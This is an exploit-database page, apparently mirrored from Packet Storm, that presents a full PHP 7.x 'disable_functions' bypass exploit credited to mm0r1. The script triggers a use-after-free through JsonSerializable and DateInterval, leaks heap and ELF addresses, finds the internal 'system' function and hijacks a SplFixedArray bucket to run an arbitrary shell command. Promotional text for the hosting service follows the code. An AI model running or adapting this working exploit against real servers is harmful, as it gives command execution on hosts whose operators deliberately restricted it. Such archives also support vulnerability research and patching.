Lucene search
K

PHP 7.x disable_functions Bypass

🗓️ 28 Sep 2019 00:00:00Reported by mm0r1Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 297 Views

PHP 7.x disable_functions Bypass class exploit for PHP 7.

Code
`<?php  
  
$cmd = "id";  
  
$n_alloc = 10; # increase this value if you get segfaults  
  
class MySplFixedArray extends SplFixedArray {  
public static $leak;  
}  
  
class Z implements JsonSerializable {  
public function write(&$str, $p, $v, $n = 8) {  
$i = 0;  
for($i = 0; $i < $n; $i++) {  
$str[$p + $i] = chr($v & 0xff);  
$v >>= 8;  
}  
}  
  
public function str2ptr(&$str, $p = 0, $s = 8) {  
$address = 0;  
for($j = $s-1; $j >= 0; $j--) {  
$address <<= 8;  
$address |= ord($str[$p+$j]);  
}  
return $address;  
}  
  
public function ptr2str($ptr, $m = 8) {  
$out = "";  
for ($i=0; $i < $m; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
# unable to leak ro segments  
public function leak1($addr) {  
global $spl1;  
  
$this->write($this->abc, 8, $addr - 0x10);  
return strlen(get_class($spl1));  
}  
  
# the real deal  
public function leak2($addr, $p = 0, $s = 8) {  
global $spl1, $fake_tbl_off;  
  
# fake reference zval  
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted  
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval  
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)  
  
$leak = strlen($spl1::$leak);  
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }  
  
return $leak;  
}  
  
public function parse_elf($base) {  
$e_type = $this->leak2($base, 0x10, 2);  
  
$e_phoff = $this->leak2($base, 0x20);  
$e_phentsize = $this->leak2($base, 0x36, 2);  
$e_phnum = $this->leak2($base, 0x38, 2);  
  
for($i = 0; $i < $e_phnum; $i++) {  
$header = $base + $e_phoff + $i * $e_phentsize;  
$p_type = $this->leak2($header, 0, 4);  
$p_flags = $this->leak2($header, 4, 4);  
$p_vaddr = $this->leak2($header, 0x10);  
$p_memsz = $this->leak2($header, 0x28);  
  
if($p_type == 0x6474e552) { # PT_GNU_RELRO  
# handle pie  
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;  
$data_size = $p_memsz;  
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec  
$text_size = $p_memsz;  
}  
}  
  
if(!$data_addr || !$text_size || !$data_size)  
return false;  
  
return [$data_addr, $text_size, $data_size];  
}  
  
public function get_basic_funcs($base, $elf) {  
list($data_addr, $text_size, $data_size) = $elf;  
for($i = 0; $i < $data_size / 8; $i++) {  
$leak = $this->leak2($data_addr, $i * 8);  
if($leak - $base > 0 && $leak - $base < $text_size) {  
$deref = $this->leak2($leak);  
# 'constant' constant check  
if($deref != 0x746e6174736e6f63)  
continue;  
} else continue;  
  
$leak = $this->leak2($data_addr, ($i + 4) * 8);  
if($leak - $base > 0 && $leak - $base < $text_size) {  
$deref = $this->leak2($leak);  
# 'bin2hex' constant check  
if($deref != 0x786568326e6962)  
continue;  
} else continue;  
  
return $data_addr + $i * 8;  
}  
}  
  
public function get_binary_base($binary_leak) {  
$base = 0;  
$start = $binary_leak & 0xfffffffffffff000;  
for($i = 0; $i < 0x1000; $i++) {  
$addr = $start - 0x1000 * $i;  
$leak = $this->leak2($addr, 0, 7);  
if($leak == 0x10102464c457f) { # ELF header  
return $addr;  
}  
}  
}  
  
public function get_system($basic_funcs) {  
$addr = $basic_funcs;  
do {  
$f_entry = $this->leak2($addr);  
$f_name = $this->leak2($f_entry, 0, 6);  
  
if($f_name == 0x6d6574737973) { # system  
return $this->leak2($addr + 8);  
}  
$addr += 0x20;  
} while($f_entry != 0);  
return false;  
}  
  
public function jsonSerialize() {  
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;  
  
$contiguous = [];  
for($i = 0; $i < $n_alloc; $i++)  
$contiguous[] = new DateInterval('PT1S');  
  
$room = [];  
for($i = 0; $i < $n_alloc; $i++)  
$room[] = new Z();  
  
$_protector = $this->ptr2str(0, 78);  
  
$this->abc = $this->ptr2str(0, 79);  
$p = new DateInterval('PT1S');  
  
unset($y[0]);  
unset($p);  
  
$protector = ".$_protector";  
  
$x = new DateInterval('PT1S');  
$x->d = 0x2000;  
$x->h = 0xdeadbeef;  
# $this->abc is now of size 0x2000  
  
if($this->str2ptr($this->abc) != 0xdeadbeef) {  
die('UAF failed.');  
}  
  
$spl1 = new MySplFixedArray();  
$spl2 = new MySplFixedArray();  
  
# some leaks  
$class_entry = $this->str2ptr($this->abc, 0x120);  
$handlers = $this->str2ptr($this->abc, 0x128);  
$php_heap = $this->str2ptr($this->abc, 0x1a8);  
$abc_addr = $php_heap - 0x218;  
  
# create a fake class_entry  
$fake_obj = $abc_addr;  
$this->write($this->abc, 0, 2); # type  
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry  
  
# copy some of class_entry definition  
for($i = 0; $i < 16; $i++) {  
$this->write($this->abc, 0x10 + $i * 8,   
$this->leak1($class_entry + 0x10 + $i * 8));  
}  
  
# fake static members table  
$fake_tbl_off = 0x70 * 4 - 16;  
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);  
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);  
  
# fake zval_reference  
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval  
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)  
  
# look for binary base  
$binary_leak = $this->leak2($handlers + 0x10);  
if(!($base = $this->get_binary_base($binary_leak))) {  
die("Couldn't determine binary base address");  
}  
  
# parse elf header  
if(!($elf = $this->parse_elf($base))) {  
die("Couldn't parse ELF");  
}  
  
# get basic_functions address  
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {  
die("Couldn't get basic_functions address");  
}  
  
# find system entry  
if(!($zif_system = $this->get_system($basic_funcs))) {  
die("Couldn't get zif_system address");  
}  
  
# copy hashtable offsetGet bucket  
$fake_bkt_off = 0x70 * 5 - 16;  
  
$function_data = $this->str2ptr($this->abc, 0x50);  
for($i = 0; $i < 4; $i++) {  
$this->write($this->abc, $fake_bkt_off + $i * 8,   
$this->leak2($function_data + 0x40 * 4, $i * 8));  
}  
  
# create a fake bucket  
$fake_bkt_addr = $abc_addr + $fake_bkt_off;  
$this->write($this->abc, 0x50, $fake_bkt_addr);  
for($i = 0; $i < 3; $i++) {  
$this->write($this->abc, 0x58 + $i * 4, 1, 4);  
}  
  
# copy bucket zval  
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);  
for($i = 0; $i < 12; $i++) {  
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,   
$this->leak2($function_zval, $i * 8));  
}  
  
# pwn  
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);  
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);  
  
$spl1->offsetGet($cmd);  
  
exit();  
}  
}  
  
$y = [new Z()];  
json_encode([&$y]);  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2019 00:00Current
0.2Low risk
Vulners AI Score0.2
297